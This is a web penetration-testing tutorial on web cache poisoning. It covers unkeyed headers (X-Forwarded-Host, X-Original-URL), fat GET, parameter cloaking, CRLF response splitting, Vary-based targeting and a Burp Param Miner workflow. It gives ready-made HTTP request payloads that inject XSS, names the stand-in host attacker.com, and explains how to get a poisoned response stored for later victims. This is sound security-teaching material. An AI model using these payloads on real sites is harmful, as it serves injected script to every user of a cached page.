Web Cache Poisoning
Web cache poisoning: unkeyed header injection (X-Forwarded-Host, X-Original-URL), cache buster technique, fat GET, parameter cloaking, response splitting, targeted poisoning via cache keys, and Burp Param Miner workflow.
What is Web Cache Poisoning
A web cache stores responses and serves them to multiple users. Poisoning means tricking the cache into storing a malicious response tied to a legitimate URL — then every user who requests that URL receives the attacker’s payload without the attacker needing to interact with them again.
Two requirements:
- The cache must store a response that includes attacker-controlled data.
- The poisoned response must be served to other users (the cache key must match their request).
Cache key fundamentals
The cache key is what the cache uses to identify a stored response. Typically: the URL + Host. Headers and parameters not in the cache key are “unkeyed” — they influence the response but don’t affect whether the cached version is served to others.
Finding unkeyed inputs is the core skill.
Detection: Param Miner (Burp Extension)
Install Param Miner from BApp Store — it automatically discovers unkeyed headers and parameters.
- In Target → Site map, right-click a request → Guess headers (or Guess params).
- Param Miner sends hundreds of header variants and looks for reflected or behaviour-changing ones that don’t alter the cache key.
- Review findings in Extensions → Output.
Manual cache buster
Add a unique cache-busting parameter to every test request so you don’t poison the real cache during discovery:
GET /home?cachebuster=test1234 HTTP/1.1
Host: TARGET
X-Forwarded-Host: attacker.com
The ?cachebuster= value makes each request a unique cache entry — safe to test without affecting other users.
Exploit: Unkeyed header — X-Forwarded-Host
If the app uses X-Forwarded-Host to construct URLs in the response (CDN base URL, canonical link, redirect) and it’s not part of the cache key:
GET / HTTP/1.1
Host: TARGET
X-Forwarded-Host: attacker.com
If the response contains attacker.com somewhere and has a Cache-Control that permits caching, remove the cache buster and send it once more to store it. Subsequent victims hit the cached response containing attacker.com.
Escalate to XSS if the reflected value lands in a script import:
X-Forwarded-Host: attacker.com"></script><script>alert(1)</script>
Exploit: Unkeyed header — X-Original-URL / X-Rewrite-URL
GET / HTTP/1.1
Host: TARGET
X-Original-URL: /admin
If the routing layer honours this header while the cache keys only on the original URL, you can access admin paths through the cache.
Exploit: Unkeyed query parameters
Some caches key only on the path and ignore certain query parameters (analytics params like utm_source, fbclid):
GET /home?utm_source="><script>alert(1)</script> HTTP/1.1
Host: TARGET
If utm_source is reflected in the response, not part of the cache key, and the response is cached — XSS stored in cache for all /home visitors.
Use Param Miner to discover which parameters are excluded from the cache key.
Fat GET (body in GET request)
Some frameworks process a request body even on GET requests. The cache keys on the GET URL but the back-end uses the body parameter — letting you inject different content than what the cache expects:
GET /js/app.js HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
_method=POST&script=alert(document.domain)//
Parameter cloaking
Some caches parse query parameters differently from the back-end. Use a semicolon or duplicated parameter to hide a parameter from the cache key while the back-end still processes it:
GET /path?keyed_param=value&utm_content=x;callback=<script>alert(1)</script> HTTP/1.1
The cache sees utm_content=x;callback=... as one parameter (not keyed). The back-end splits on ; and processes callback=<script>alert(1)</script> separately.
Response splitting (via unkeyed header injection)
Inject CRLF sequences into an unkeyed header to split the HTTP response — smuggling a second, attacker-controlled response into the cache:
X-Forwarded-Host: attacker.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
Modern apps typically sanitise CRLF in headers, but older proxy stacks may not.
Targeted cache poisoning (per-user cache keys)
Some caches use Vary headers (e.g. Vary: Accept-Language) to store separate responses per header value. If Accept-Language is reflected but not properly sanitised:
GET /home HTTP/1.1
Host: TARGET
Accept-Language: en"><script>alert(1)</script>
This only poisons the cached response for users with this exact Accept-Language — useful for targeted attacks without polluting the global cache.
Cache timing detection
Measure response times to determine if a response was served from cache:
- First request: slow (cache miss, back-end hit).
- Second identical request: fast (cache hit).
Or look for headers:
X-Cache: HIT → served from cache
X-Cache: MISS → fetched from back-end
Age: 123 → seconds since cached
Cache-Control: max-age=30
Burp Suite workflow
- Install Param Miner from BApp Store.
- Right-click target host → Guess headers — discover unkeyed headers.
- Repeater — add
?cachebuster=randomto all test requests; inject discovered unkeyed headers. - Confirm reflection in the response.
- Remove the cache buster, send once — check
X-Cache: HITon the next request to confirm caching. - Scanner — active scan detects common unkeyed header reflections and cache poisoning vectors.